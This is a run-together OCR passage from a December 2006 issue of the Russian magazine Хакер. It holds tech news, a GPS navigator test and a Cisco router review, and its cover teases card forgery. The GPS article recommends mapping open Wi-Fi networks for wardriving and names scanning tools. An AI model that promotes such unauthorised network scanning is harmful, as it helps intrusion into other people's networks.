11.07.2015 Views

Подделка кредиток

Подделка кредиток

Подделка кредиток

SHOW MORE
SHOW LESS

You also want an ePaper? Increase the reach of your titles

YUMPU automatically turns print PDFs into web optimized ePapers that Google loves.

ДЕКАБРЬ 12(96) 2006ПодделкакредитокКак зарабатываюткардеры2 дистрибутиваUNIX на диске20новогоднихподарковМы спряталив этом номереWE ARE HACKERS.WE ARE TOGETHERВардрайвингпод никсамиУчимся сканироватьWi-Fi сети под UnixWi-Fi точкадоступаРазламываемна кускиКомпьютерыбудущегоИз чего и каких будут делать+ СПЕЦПРОЕКТ: КОРОЛИ ЗИМНЕГО ОТДЫХАMandriva Linux 2007OpenBSD 4.0софт для DVD-rip’аПриколы по Bluetooth


meganewsОлег чебенеев/ mindw0rk@gameland.ru /Юрий Свидиненко/ metamorph@yandex.ru /cергей никитин/ NIkitin@glc.ru /Монитордля iPodПлеер Apple iPod прочно завоевал сердца пользователейво всем мире. Простота его использованияи необычный дизайн пришлись по вкусумногим. Количество дополнительных устройств дляiPod исчисляется десятками, начиная от простыхдок-станций и заканчивая одеждой, специальносозданной для ношения с этим устройством. Рядыаксессуаров продолжают пополняться. Сегодня этостильные полнофункциональные мониторы от компанииViewSonic — ViewDockVX1945wm и VX2245wmс диагональю 19 и 22 дюйма соответственно. Онисодержат док-станцию для iPod, 4 порта USB 2.0,считыватель карт памяти «8 в 1», микрофон, стереодинамикии сабвуфер, то есть ты приобретаешьне просто устройство отображения информации, ацелый набор нужных девайсов, скомпонованных водном корпусе (экономия места) и легких в доступе.Оба дисплея имеют широкий экран с соотношениемсторон 16:10, причем VX2245wm обеспечивает разрешение1680x1050, а VX1945wm — 1440x900.В дополнение к этому, динамики 2x2,5 Вт и 3-Втсабвуфер обеспечивают высокое качество звука, атехнология OptiSync улучшает качество изображения,поступающего через разные разъемы, включаяВидеохолодКогда компании, каждая из которых умеет делатьчто-то лучше других, объединяют усилия, торезультат, как правило, оказывается очень положительным.PowerColor делает хорошие видеоплаты,а системы охлаждения от ArcticCooling недают перегреться многим процессорам и другимустройствам в наших ПК. Вместе они выпустилиPowerColor X1950 PRO, оснащенную кулером отArctic Cooling под названием Accelero X2.Его конек — тихая, но эффективная работа.Сама плата выполнена по техпроцессу 80 нм, оснащаетсявидеопамятью DDR3 объемом 256 или512 Мб и может работать в режиме CrossFire. Ноне просто, а хитро — мастер-карта не требуется,все соединение берет на себя специальный мостик.Так что тебе будет достаточно двух видюх исистемной платы, поддерживающий этот режим.Плата оснащена двумя выходами DVI, разъемомVIVO и поддерживает HDCP, что являетсясерьезным зачином на будущее. Также в спискесовместимости значатся DirectX 9c, Open GL 2.0,Shader Model 3.0 и Windows Vista./ 004xàêåð 12/96/ 06


meganewsНевидимостьдля 2D-жителейВот так выглядит устройство невидимости для микроволнового диапазонаЕсли бы люди были двумерными существами, то уже сегодня могли быть невидимыми.Грубо говоря, создать «плащ-невидимку» позволяют фундаментальныезаконы физики и математики. Необходимо только разработать такое покрытие, спомощью которого световые волны огибали бы помещенный внутрь него объект,что сделало бы его невидимым со стороны. Это — только для двумерного мира имикроволнового излучения — удалось сделать американским исследователям.В основе лежит эффект «искривления пространства», однако реально искривляетсялишь путь электромагнитного излучения, порождая своего рода мираж. Плащзаставляет микроволновые лучи огибать цель таким образом, что наблюдателю(который обладает микроволновым «зрением») кажется, будто в этом месте вообщеничего нет, он видит те предметы, что расположены за скрытым объектом. Материалы,которые позволяют обращаться со световыми лучами подобным образом,в естественном виде в природе не встречаются, и их необходимо еще cпециальнопроектировать. Чтобы упростить себе задачу, физики пока были вынуждены изготавливатьплащ так, чтобы он срабатывал только в одной плоскости. Экспериментальныйобразец представляет собой цилиндрическую конструкцию небольшойвысоты диаметром меньше 5 дюймов (13 см), состоящую из ряда концентрическихколец. Совместное их действие позволяет обводить микроволны вокруг центральнойобласти, опоясанной медным кольцом. Проблема же с видимым светом состоитв том, что экспериментаторам в таком случае придется иметь дело с гораздо меньшимидлинами волн. А это в свою очередь означает, что оптические метаматериалыдолжны быть основаны уже на структурах наномасштаба, создание которых покаеще не под силу современным нанотехнологиям. К тому же, чтобы объект полностьюисчез из вида, укрывающий его плащ должен правильно взаимодействовать сизлучением одновременно всех длин волн (то есть различных оптических цветов).Подобная технология требует гораздо большего количества чрезвычайно запутанныхи разнородных структур, и пока не ясно, можно ли это реализовать на практике.ЗеркальныйPhilipsЕсли ты хочешь знать, какая техника будет в моде в ближайшеевремя, то ты наверняка мониторишь новостныеленты, лазаешь по сайтам производителей и т.д. Но беда втом, что пресс-релиз или новость — это всего лишь тексти изображения, описанный в них девайс ты не потрогаешь.Поэтому нужно ходить на выставки! Там все вживую,без обмана. Например, на выставке Millionaire Fair 2006компания Philips представила свои последние разработки.Среди них — зеркальный телевизор Mirror TV 42PM8822 сдиагональю 42 дюйма. Устройство поставляется в красивойрамке, с ней и вешается на стену. Пока не включишьрежим телевизора, это обычное зеркало, после включенияпревращающееся в LCD-TV. Но если ты не можешьоторваться от просмотра любимого клипа, но тебе нужнопричесаться, то можешь воспользоваться режимом «картинка-в-зеркале».Вот некоторые технические х а р а к -т е ристики новинки: соотношение сторон — 16:9;яркость — 500 кд/м; контрастность —1000:1; разрешение— 1366x768 пикселей; время отклика — 10 мс.Компактныйiriveririver S10 анонсирован в черном и черно-белом цветовомисполнении. Его достоинствами являются крайне малыегабариты — 42x30x10,8 мм — при весе в 17,5 граммови очень стильном дизайне. Среди функциональныхвозможностей числится поддержка различных форматоввоспроизводимых треков (MP3, WMA, ASF, OGG (включаяQ10)), OLED-дисплей 1,15 дм, сенсорное управление, FMтюнер,часы с таймером, будильник и диктофон. Не малодля такого малыша, правда? Кроме того, он поддерживаетID3-теги, работает до 8 часов от одной зарядки аккумулятора,подключается к компьютеру через порт USB 2.0 иимеет объем встроенной памяти от 1 до 2 Гб./ 006


meganewsНастольныйтермоядКак оказалось, термоядерные реакции синтеза химических элементовв звездах можно изучать в ходе сравнительно простого и дешевогонастольного эксперимента. Когда речь идет об опытах с ядернымипревращениями, на ум приходят прежде всего ядерные реакторы илиускорители тяжелых ядер, занимающие целое здание. В отличие отбольшинства областей физики, упростить установку, уменьшить ее донастольных размеров и тем самым сделать экспериментальную ядернуюфизику доступной широкому кругу исследователей долгое времяне удавалось. Несколько лет назад ситуация кардинально изменилась.В пионерских экспериментах ученых из Ливерморской национальнойлаборатории в США было обнаружено, что под действием мощной вспышкилазерного света в кластерах дейтерия (D2)n протекает термоядернаяреакция слияния двух ядер дейтерия. Процесс, приводящий к этому, былназван «кулоновским взрывом» кластеров. Спустя несколько лет быланайдена еще одна возможность осуществить термоядерный синтез нарабочем столе — на основе пироэлектрического эффекта. Все эти достиженияоткрывают новую эру в ядерном эксперименте. Энергетическийвыход и дозы радиации в таких настольных экспериментах ничтожны, ипотому они, с одной стороны, радиационно безопасны, а с другой стороны,не представляют интереса для индустрии. Зато в них можно изучатьусловия протекания и свойства самих ядерных реакций — именно то, чтои требуется физику-экспериментатору. Результаты таких экспериментовбудут очень полезны и для астрофизики, поскольку слияние ядер дейтерия— ключевая реакция в процессе горения звезд.Проекты летающего танка от American DynamicsЛетающиетанкиЕсли ранее компания American Dynamics только сообщала об успешныхиспытаниях тяжелого и бронированного ударного беспилотникаBattleHog 350x и BattleHog 110x для боев в городе, то теперь она представилаболее подробную информацию о своих разработках, но покаеще не сами аппараты.Один из разработанных летающих танков - BattleHog 100x. Эта машинапредставляет собой БПЛА с фиксированными несущими поверхностями,способный действовать в режиме как вертикального, так иобычного самолетного взлета и посадки. Это делает возможным егоприменение и на суше, и на море. Длина BattleHog 100x составляет 3,8м; размах крыльев – 5,2 м; высота – 1,5 м; сухой вес – 540 кг; максимальныйвзлетный – 1450 кг; полезная нагрузка – 340 кг; потолок – около7000 м. Максимальная скорость – 500 км/ч; крейсерская – 333 км/ч.Аппарат предназначен для выполнения широкого круга задач: веденияразведки, мониторинга местности, целеуказания и штурмовкицелей. Комплекс BattleHog 100x включает в свой состав 3 летательныхаппарата BattleHog 100x, наземную станцию управления CS2, а такжесистему средств связи и обмена данными. Основой конструкцииявляется запатентованная American Dynamics подъемная системана основе ротора с высоким крутящим моментом (High Torque AerialLift, HTAL). Вооружение BattleHog 100x – это ПТУР AGM-114K Hellfire,Hydra-70, пулемет М134 калибра 7,62 мм.Дисплей из бетонаТак выглядит «кулоновский взрыв» дейтерияБетонныедисплеи новое —слово в архитектуреИз чего только не делали дисплеи, но не из бетона! Оказывается, еще не всепотеряно — Лаборатория Инноваций (Innovation Lab) в Дании сообщила о созданиипервого в мире дисплея из бетона. Мировая премьера этого дива состоялась17 ноября в Университете информационных технологий Копенгагена.Новый экран сделан из прозрачного бетона — материала, насыщенного оптическимиволокнами, которые играют роль пикселей: они пропускают как естественный,так и искусственный свет. А источником света может быть, например,проектор, установленный за бетонным экраном. Разработчики утверждают, чтоэто «новая концепция, которая изменит строительную отрасль, архитектуру,дизайн и множество других областей»./ 008xàêåð 12/96/ 06


meganewsСекурныйклиент длямобильной виндыВ то время как одни фирмы создают программы, делающие из твоегодырявого писюка непробиваемого хакерами монстра, другие ломаютголову, как повысить безопасность мобилок и смартфонов. Второесейчас особенно актуально, так как мобильник уже есть даже у твоегопрестарелого дедушки, а взломщики все больше обращают вниманиена мобильные платформы. Один из программных пакетов защитысредств связи — представленный в прошлом месяце SecureClientMobile от софтварной компании Check Point Software Technologies.Набор утилит не только обеспечивает безопасную связь, но и улучшаетее. Например, поскольку клиент SCM поддерживает постоянныйконнект по VPN со шлюзами, во время роутинга нет необходимостипроводить повторные аутентификации. Также независимо отположения клиента мобильник с установленным пакетом самостоятельнофильтрует находящие поблизости типы сетей, обеспечиваябезопасное подключение. Есть и другие приятные фишки. Стоимостьлицензии, совместимой со всеми устройствами Microsoft WindowsMobile Pocket PC 2003/SE и Windows Mobile 5.0, при оптовой покупкесоставляет $40.Любимые целихакеровSANS Institute не перестает радовать своими исследованиями.Итогом одного из последних стал ежегодныйсписок из 20-ти самых популярных целей хакеров.Он разделен на категории: операционные системы,библиотеки Windows, интернет-пейджеры, базы данных,UNIX- и Windows-сервисы, медиаплееры и т.д., в каждойиз которых подробно рассматриваются замеченные загод критические баги и попытки взлома. Среди стандартныхучастников «заезда», таких как Internet Explorer иMicrosoft Office (за этот год одна только SANS обнаружилав нем 45 серьезных дырок), здесь можно найти Mac OS Xи особенно пострадавшую в 2006 году систему VoIP. Порезультатам исследования, самыми популярными стали0day-атаки, а самыми опасными — SQL injection и crosssite-scripting.Например, номера кредиток воруют именночерез SQL injection, внедряя в уязвимые приложенияспециальные скрипты, обеспечивающие доступ к базе.Для такого рода атак уязвимы 40% всех сетевых приложенийв интернете,а cross-site-scriptingможно применять к80% сайтов.Полный список сподробными комментариямиот SANSможно найти наwww.sans.org/top20.ЖизнерадостныеитогиГод подходит концу, все подводят итоги. Не отстает от остальных иМВД, представившее пресс-релиз о нанесенном в 2006 году ущербеинтеллектуальной собственности. Указанная сумма достигает нимного, ни мало 2,5 миллиардов рублей. Конечно, милиция не могла непохвастаться и своими успехами. На протяжении года за нарушениеавторских прав под следствие попали 6,5 тысяч человек, из которыхполовину привлекли к уголовной ответственности. Также удалось остановитьработу 4-х крупнейших российских нелегальных поставщиковаудио и видео и многих других менее влиятельных контор, а в Тверии Казани изъяли кучу пиратских CD, DVD и машин по их производству.В общем, судя по докладу, в МВД дурака весь год не валяли./ 010xàêåð 12/96/ 06


Угроза«Второй жизни»Обитатели онлайнового мира Second Life бьют тревогу —недавно стало известно о появлении программы CopyBot,позволяющей копировать любые игровые предметы. Чемэто может грозить экономике, представить нетрудно.В Second Life уже давно существует сформировавшийсярынок, где можно купить своему персонажу практическилюбые вещи за реальные деньги, а разработкой контентадля этого виртуального мира занимаются сотни большихи малых фирм. Некоторые поставщики и продавцывиртуальных вещиц начали прикрывать свои лавочки,опасаясь инфляции, связанной с появлением CopyBot,но насколько серьезными окажутся последствия, покасказать трудно. Все зависит от действий разработчиков— компании Linden Lab.Second Life — один из крупнейших виртуальных миров,насчитывающий 1,5 миллиона постоянных обитателей.AVE — новый звукПриятно, когда на рынке, уже известном и привычном,вдруг появляется что-то новое. Так произошло и сейчас:известная своими аудиорешениями компания AVE представляетновую серию колонок — DF. Пока в нее входят3 модели: AVE DF102, DF104 и флагманская DF106. Уникальнаяособенность колонок серии AVE DF заключаетсяв использовании пассивных радиаторов. Это техническоерешение весьма дорого и редко используется в мультимедиа-акустике.Кроме того, из колонок исключены всепотенциальные источники помех, шумов и других нежелательныхявлений. В частности, AVE DF имеют вместообычного темброблока специальный блок тонкомпенсации,автоматически настраивающийся в зависимости отуровня громкости. В свою очередь, регулятор громкости,для того чтобы избежать шумов, вносимых традиционнымпеременным резистором, выполнен в виде электронногокнопочного блока.


meganewsВот такие зонтики могутотвести он нашей планетынадвигающуюся катастрофу20триллионовмикроспутниковмогут остановитькатастрофуТы знаешь, что глобальное потепление — одна из тех страшных историй, которыминас пугают ученые. И не напрасно, поскольку остановить его практическиневозможно. Роджер Энджел, один из астрономов с кафедры астрономии УниверситетаАризоны, предложил экзотический способ борьбы с глобальным потеплением— гигантский космический зонтик.Реализация плана Энджела заняла бы 25 лет и обошлась бы в $100 миллиардовза каждый год работы. Однако по некоторым оценкам, потери мировой экономикииз-за неблагоприятных эффектов глобального потепления с настоящего временипо 2050 год (при условии, что никакие меры не будут приняты) составят $7 триллионов.Энджел предлагает затенить Землю при помощи 20 триллионов спутников весом 1грамм и диаметром примерно 0,6 метра (как серебристый воздушный шарик), выведенныхна высоту порядка 1,5 миллиона километров в точку Лагранжа L1. Они должнысформировать облако цилиндрической формы, с осью, лежащей на линии «Солнце— Земля». Диаметр облака составит около 7 тысяч километров, а длина — примерно14 тысяч километров. Свет солнца, проходящий сквозь облако, частично отклонитсяв сторону, так что освещенность земной поверхности упадет на пару процентов, чегодолжно хватить для компенсации глобального потепления. Подробнее — в слушанияхАмериканской национальной академии наук (PNAS).Пока неясно, как производить запуск такого количества космических аппаратов. Вцелом же, несмотря на экзотический подход, проект довольно здравый.ГорячаяспамерскаядесяткаПроект Spamhaus, занимающийся исследованиями вобласти нежелательной рекламы, опубликовал на своемсайте TOP10 самых злостных спамеров мира. Эти 10 человекнесут ответственность за 80% спама, проходящегочерез интернет. На первом месте оказался украинецАлекс Поляков, известный как Alex Blood — владелецкрупнейшей спамерской бот-сети. Особенно многоот этого спамера исходит рекламы сайтов детскойпорнографии и фармацевтической продукции, такжеон является одним из крупнейших распространителейвирусов и троянов. Второе место за русским мужичком,именующим себя Леонид Куваев aka BadCow. Он тожевладеет бот-сетью, помимо этого он имеет DNS-сервис ипредоставляет его другим спамерам. BadCow известенскупкой огромного количества доменов для использованияв дальнейшей спам-деятельности, а сейчас он скрываетсяот многомиллионного судебного иска. Третьеместо было присуждено американцу Майклу Линдсею,отцу-основателю печально известного хостера iMediaNetworks, который предоставляет спамерам всевозможныеуслуги и обещает защиту от преследователей.Среди остальных гениев спамерского мира еще 3-ерусских, украинец, жители Израиля, Гонконга и Штатов.Досье на спамеров можно почитать на www.spamhaus.org/statistics/spammers.lasso.МолекулярноекиноИсследователи Института ядерной физики Макса Планка (Max Planck Institute forNuclear Physics) впервые смогли получить изображение движущейся молекулыводорода. Естественно, обыкновенная световая оптика не подходит для фотографированиямолекул водорода, так как их размер в 5 тысяч раз меньше длиныволны видимого света. Поэтому ученым пришлось создать специальный методзаписи.Они изучили систему из двух молекул дейтерия (тяжелого водорода), которыеоблучали высокочастотным лазером. Измеряя энергию взаимодействия, исследователиопределили расстояние между молекулами, а при компьютерной обработкеэтих данных было получено графическое изображение. Меняя интервалмежду импульсами, ученые смогли получить различные изображения расположениямолекул. Серия таких снимков составила «молекулярный фильм»,который дает некоторое представление о динамике молекул./ 012Молекула воды — модель и кадр из «видеозаписи»xàêåð 12/96/ 06


meganewsЭкзоскелет HAL-5поставлен на потокЯпонский экзоскелет поможет не только военным, но и инвалидамРазнообразные варианты экзоскелетов уже не раз появлялись на публике.Однако ни один из них не был пущен в серийное производство. Самымоптимальным по компактности, автономности и стоимости на сегодняшнийдень остается японский экзоскелет HAL-5 (Hybrid Assistive Limb), созданныйинженером Йошиюки Санкая, работающим в университете города Цукуба.Как сообщили конструкторы университета, он полностью готов к серийномупроизводству.Разрабатывали серию HAL 10 лет, и вот только в 2007 году первые роботизованныекостюмы появятся на рынке. Первоначально планируется выпуститьвсего 20 штук, в 2008 году увидят свет уже 400-500 экзоскелетов. Цена наHAL-5 выше ранее заявленной (около 15 тысяч долларов) и составляет от42273-х до 59182-х долларов в зависимости от модификаций. Однако возможнамесячная аренда экзоскелета за плату в размере всего 600 долларов.По устройству HAL-5 представляет собой классический экзоскелет. Это облегченныймеханический костюм с многочисленными датчиками, который человекнадевает на себя. Костюм содержит ряд электрических приводов, которые позволяютподнимать до 100 кг веса, при этом для человека такая нагрузка окажетсянезаметной. Кроме поднятия тяжестей, экзоскелет сможет облегчить перемещениеинвалидам.Антидопинговаялаборатория в рукаххакеровНеприятный инцидент произошел вокруг французскойантидопинговой лаборатории Шатне-Малабри. Неизвестныехакеры взломали внутреннюю сеть и получилидоступ к базам данных об анализах спортсменов. Узнав опроисшествии, ученые тут же обратились за помощью кфранцузскому правительству, убеждая чиновников, чтопоследствия могут быть очень плачевными. Опасенияподтвердились — хакеры связались с Международнымолимпийским комитетом и с Всемирным антидопинговымагентством и сообщили об утечке информации изфранцузской лаборатории. Мотивы понятны — взломщикихотели дискредитировать французов, и вероятно непоследнюю роль в этом сыграли недавние события: послеокончания гонки «Тур де Франс» лаборатория Шатне-Малабриобъявила о высоком уровне тестостерона в кровипобедителя, хотя тот категорически отказался признатьупотребление каких-либо препаратов. Как оно было насамом деле, теперь уже вряд ли узнать, но хакеры своегодобились — вокруг лаборатории образовался скандал.Антипротонамипо почкам!/ 014Антивеществом, оказывается, можно не толькозаправлять фотонные ракеты, но и лечитьрак! Проект ACE (Antiproton Cell Experiment,в буквальном переводе — «Антипротонныйклеточный эксперимент») — одно из первыхисследований в области воздействия антипротоновна живую ткань. Предварительныеитоги работы по проекту свидетельствуюто том, что ученым удалось сделать важныйшаг на пути создания нового метода лечениярака.Суть проекта состоит в том, чтобы заменить вонкологии радиотерапию на облучение античастицами- антипротонами. Антипротоны поотношению к протонам являются античастицами.Особенность антипротона в том, чтопри столкновении с протоном происходит ихвзаимное уничтожение.В ходе экспериментов исследователи пропускалипоток частиц через трубку с тканямихомяка, а затем подсчитывали, сколько клетокумирало по ее длине. В итоге выяснилось,что одинаковое количество действующихчастиц (протонов и антипротонов) приводитк разным результатам: при использованииантипротонов на дальнем конце трубкиповрежденных клеток оказалось в 3,75 разабольше, чем при использовании протонов.Чтобы получить одно и то же число разрушенныхклеток, антипротонов требуется в 4раза меньше, чем протонов. Благодаря этомуможно существенно сократить поврежденияв ткани на пути пучка. Именно из-за превосходнойспособности антипротонов избирательноразрушать ткани, уничтожая требуемыеобласти и не затрагивая остальные,использование пучков этих частиц можетоказаться особенно ценным при лечениираковых опухолей.xàêåð 12/96/ 06


meganewsКто взломал Висту?Пока Microsoft только готовится к тиражированию лицензионныхверсий Windows Vista, пиринговые сети ужетрещат от пиратских версий дистрибутива. Причем это некакие-то демоверсии, а полноценный рабочий вариант.Хотя о защите Висты мелкомягкие чуть ли не легендыслагают, ее удалось обойти. Для этого пришлось заменитьнесколько компонентов из релизной версии более ранними.Microsoft в курсе утечки и комментирует это так: «Всеэти версии— не полноценные и могут кишеть ошибками.Также они используют для активации ключи pre-RTM, которыебудут вскоре заблокированы, и пиратские версиипросто перестанут работать». С уже гуляющими в Сетиверсиями все понятно, но как Microsoft будет боротьсясо взломанными дистрибутивами, когда они поступят вофициальную продажу, узнаем после Нового года послепоявления Висты на прилавках.Albatronподдерживает DirectX 10Сейчас среди вендоров считается хорошим тоном объявлять о совместимостисвоего железа с грядущей Windows Vista. Слова «Vista Ready» или подобные имоказывают на пользователей поистине магическое воздействие. Именно такаяфраза украшает коробки с новыми видеоплатами от компании Albatron. Но нетолько она. Еще эти устройства работают с DirectX 10 и Shader Model 4.0!Основаны эти видеоплаты на графических процессорах NVIDIA 8800GTX и8800GTS, частоты работы GPU составляют 575 и 500, а памяти — 900 и 800 МГцсоответственно. Если тебе этого покажется мало, то ты можешь создать на ихоснове SLI-конфигурацию, они обе это поддерживают. В общем, это отличныйвыбор для геймеров, которые смотрят в будущее и имеют средства для покупкисовременнейших девайсов.xàêåð 12/96/ 06/15


ferrumАлексей ШуваевНайди себяпо спутникуИсторическая справка:Первый спутник системы NAVSTAR был запущен в1978 году.Каждый спутник весит немногим меньше тонны иимеет размах солнечных батарей 5 метров.Радиопередатчик имеет мощность не более 50 Вт.Каждый спутник излучает радиоволны в трехдиапазонах, туристические приемники работают счастотой 1575,42 МГц «L1».Список протестированныхмоделей:GlobalSat BU-353GlobalSat BT-338Garmin GPSMAP 276CJJ-Connect Navigator 100JJ-Connect Navigator 101Тест спутниковых навигаторов для туристовВ детстве мы все любили путешествовать, и зона поисков чего‐то нового ограничивалась свободным временем.Став большими и важными, мы зачастую едем на новое место, услышав о нем от друзей, знакомых или простопрочитав о нем в интернете. Популярное развлечение «геокэшинг» стало возможным именно благодаря упрощениюпроцесса навигации. Ну, а что такое GPS и как его использовать в своих целях, сейчас разберемся.Что такое GPS?GPS — аббревиатура от Global PositioningSystem. Необходимо сказать, что создана онапри министерстве обороны США. Системаглобального позиционирования позволяетс очень высокой точностью определятькоординаты твоего местоположения, дажеесли ты движешься с большой скоростьюна любой высоте. Спутниковая навигацияназывается так именно потому, что приемниквычисляет свои координаты, получая сигналыот спутников.Как работает спутниковая навигация?Чтобы ты не потерялся на местности, 24 спутниканаходятся на шести орбитах (то есть на/ 016xàêåðпостоянном удалении от Земли) и движутсясо скоростью 3 км/c, а сеть наземных установоккорректирует данные и отслеживаетположение станций в космосе.Что происходит дальше? Спутник постоянноотправляет информацию, содержащуюточные время и дату, идентификатор, своикоординаты и координаты остальных космическихстанций. Так как система односторонняя,то есть твой девайс только принимаетсигнал, то для определения местоположенияна плоскости необходимы сигналы трехспутников, а для определения положенияв пространстве — минимум четырех. Знаявремя прохождения радиоволны, приемниквычисляет удаленность каждого спутника, а,располагая их координатами, твой GPS-компьютеррассчитывает свое местоположение.Если через определенные промежуткивремени сверять полученные цифры, томожно определить скорость и направлениедвижения объекта.Сколько вешать?Вопрос точности в этом случае очень важен.К примеру, в горах проходит спасательнаяоперация: скалолаз сломал ногу и неможет передвигаться самостоятельно. Онсумел вызвать спасателей и передал своикоординаты, но в радиусе 100 метров можетбыть и пропасть, и ущелье, и лес. Но с другойстороны, террористы могут проказничать,12/96/ 06


NzU0MjIxOlNGZUVLVHY0>> ferrumMSAS — система повышения точности данных, разрабатываемаяяпонским бюро гражданской авиации.Задействованы дополнительные спутники и наземныестанции. Функционирует на территории Азии.85 $тоже ориентируясь с помощью GPS, и в тогда погрешность в десяткиметров может спасти сотни жизней. Поэтому было решено ввестисистему избирательного доступа или SA (Selective Availability). Приоритетотдается военным, так как изначально NAVSTAR, а теперь GPSразрабатывалась Министерством обороны и для военных нужд. Специальныеназемные станции или дополнительные спутники, имеющиепостоянное местоположение, рассылают корректирующие сигналы.Купив дополнительное оборудование и подключив его к своему GPSприемнику,можно добиться точности в 1 м.Недавно введение погрешностей было отменено, но точность приемав городах увеличилась несильно — на территории Москвы удалось добитьсяточности в 6 метров. Но не только от внедренных погрешностейстрадали пользователи — отражения радиосигнала от зданий и крупныхобъектов также могут сбить с толку приемник. К счастью, инженерырешили эту проблему, и недавно в продажу поступили чипы Sirf Star III,которые позволяют определять местоположение по отраженному отзданий сигналу. Эти чипы используются в девайсах, предназначенныхдля автомобильных навигационных систем или GPS индивидуальногопользования, и чаще всего устанавливаются в коммуникаторы.Для чего тебе это нужно?Представь ситуацию: ты решил устроить небольшое путешествиена новой машине, а твои знания дорог ограничиваются кварталом,в котором ты живешь. Конечно, можно купить атлас дорог, но кудаудобнее, если твой верный спутник — ноутбук — будет подсказыватьтебе дорогу.В городе ты можешь использовать навигацию не только для нахожденияоптимального пути до точки следования, но и при вардрайве:просто подключи GPS-приемник к ноутбуку или КПК и отмечай на карте,где находятся открытые сети. В качестве старта можешь обратитьвнимание на такие программы, как NetStumbler, Kismet, Wellenreiter,THC-RUT, Ethereal.В любом случае, с GPS-приемником тебе будет значительно прощеповторно найти нужную улицу с открытой точкой доступа или не пропуститьнужный поворот в незнакомом городе.Методика тестированияВсе устройства проходили испытания на городских улицах с плотнойзастройкой, что негативно влияло на качество принимаемого от спутниковсигнала. Тем не менее, на трассах удавалось достичь точностипозиционирования в 6 метров. По мере возможности навигаторыпрошивались картой города для более точного определения места.Две модели, предназначенные для работы в связке «приемник — ноут(КПК)», подключались к компьютеру и снимались данные.ВыводМы посмотрели на навигаторы и вручили приз «Выбор редакции»самому дорогому, но самому приятному девайсу — Garmin GPSMAP276C за большой цветной дисплей и отличную расширяемость.А приз «Лучшая покупка» достался навигатору GlobalSat BT-338за универсальность и простоту эксплуатации. При этом ты смеломожешь выбирать любой навигатор по своим средствам — всемодели можно подключать к компьютеру и выводить координаты набольшой экран.xàêåð 12/96/ 06GlobalSat BU-353Экран: нетВремя автономной работы: нетТип приемника: 20 каналовИнтерфейс с компьютером: USBВозможность расширения: нетВлагозащищенность: до 95% влажностиПитание: по шине USBВес: 69 гОтличный приемник в виде большой таблетки выполняетприем и обработку сигнала, передаваемого спутником.Преимущество девайса в том, что он контактирует скомпьютером по USB-интерфейсу, от него же чип получаетпитание. Подключать его можно как к ноутбуку, так и к КПКс функцией USB host. Режим работы отображается светодиодом,установленным в корпусе. GlobalSat BT-338 занимаетнишу автомобильных навигаторов, так как перемещатьсяс ноутбуком пешком не очень комфортно. Зато егоможно успешно использовать для вардрайва. Магнитноеоснование «таблетки» позволяет закрепить гаджет на крышемашины, а длины провода должно хватить, чтобы установитьноутбук рядом с водителем. Эксплуатация GlobalSatBU-353 возможна в широком диапазоне температур (от -40до +85 градусов Цельсия) и при влажности до 95%, то естьдождь, снег и пекло этому девайсу не страшны.Сердцем системы стал чипсет Sirf Star III. Его преимуществаперед другими чипами в том, что он позволяетправильно обрабатывать отраженный сигнал, снижаяпогрешность при ориентации. Возможность приема иобработки сигнала одновременно от 20‐ти спутниковпозитивно скажется на ориентировании. Минусы такогорешения проистекают из плюсов: для работы необходимкомпьютер, соответственно, самым удобным вариантомэксплуатации станет установка навигационного комплексав автомобиле.ГЛОНАСС (Глобальная Навигационная Спутниковая Система)— разработка СССР. Первый спутник был запущен в далеком1982 году. Для полноценной эксплуатации необходимо 24 аппарата,из которых на орбите сейчас находятся 17. Система может бытьиспользована как в военных, так и в гражданских целях. Интересующийнас гражданский сектор позволяет определить координаты сточностью 50‐70 метров, но при задействовании наземных станцийточность возрастает. К концу 2007 года планируется завершитьразвертывание системы ГЛОНАСС./ 017


ferrumА что у насумеют кошки?Игорь ФедюкинРоутер CiscoSystems 851-K9Интерфейсы: 1xWAN (RJ-45) 10/100Мбит/сек, 4xLAN (RJ-45)10/100 Мбит/сек, Console (RJ-45 -> RS-232)Функции роутера: RIPv1, RIPv2,GRE, PPPoE, PPPoA, NAT/NAPT, DHCP,DynDNS, L2TP, IPSec, QoS, IPv6Функции файрвола: Access ControlLists, Statefull Inspection Firewall, 3DES/AES EncryptionДополнительно: поддержка RADIUS,VPN Pass-Through (PPTP, L2TP),Spanning Tree ProtocolЦена: $285росматривая различные форумы,П частенько встречаешься с желаниемряда юзеров применять«серьезное» оборудование длядоступа в интернет. Видимо, существует некийстереотип, заключающийся в том, что разкомпания производит дорогое и качественноеоператорское железо, то и доступные по ценепродукты ее производства так же хороши.Ярким примером тому является Cisco Systemsкак наиболее известная и уважаемая компанияна рынке сетевого оборудования. Однакоприменимо ли ее оборудование в домашнихусловиях? Здесь нужно принимать во вниманието, что полноценная настройка «кошек»возможна только из командной строки и, соответственно,требует глубокого пониманиясетевых технологий и знания синтаксиса языкафирменного shell’а. Ну, и конечно, лейбл/ 020Cisco Systems вовсе не говорит о том, чтодевайс умеет все на свете. Чтобы не бытьголословными, рассмотрим возможностьиспользования роутеров Cisco Systemsв домашних условиях на примере относительнодоступной по цене модели — CiscoSystems 851‐K9.Внешний вид и комплектацияКак и все оборудование корпоративногокласса, роутер поставляется в невзрачнойкартонной коробке. В ней находится сам роутер,адаптер питания, консольный кабель длянастройки через COM-порт, 2 патч-корда UTPпятой категории, компакт-диск с фирменнымпрограммным обеспечением, краткаяинструкция по устройству и несколькоброшюр Cisco Systems. По своим габаритамCisco Systems 851‐K9 примернов 2 раза больше типичных роутеров, изначальноориентированных на домашнее использование.Учитывая размеры и строгийвнешний вид, маршрутизатор производитвпечатление очень серьезной железки.На морде роутера располагаются светодиодыактивности LAN‐сегмента, статуса готовностик работе, активности WAN-порта, а такжеPPP- и VPN‐соединений. С тыльной сторонынаходятся разъемы для подключения питания,замка Кенсингтона, 4 порта Ethernet RJ-45LAN‐сегмента, 1 RJ-45 WAN-порт и RJ-45‐портдля подключения консольного кабеля, кнопки«power» и «reset».Управление и настройкаКонфигурировать девайс можно как посредствомweb-интерфейса, так и с помощьюкомандной строки, непосредственно подключившиськонсольным кабелем или удаленночерез telnet или ssh. Web-интерфейс довольноудобный, не перегруженный функциональностью,но, как и следует, не позволяющийгибко настраивать роутер. Доступны следующиегруппы настроек:• Basic Configuration (задание имени роутераи пользовательских аккаунтов для настройки);• LAN (IP-адрес и маска внутренней сети;после введения этот адрес назначаетсяинтерфейсу VLAN1, в который по умолчаниювключены все порты свитча);• Internet-WAN (настройка типа подключенияна WAN-интерфейсе; есть 2 варианта: соединениеStatic IP и PPPoE);• Firewall (можно включить или выключить;при включении в 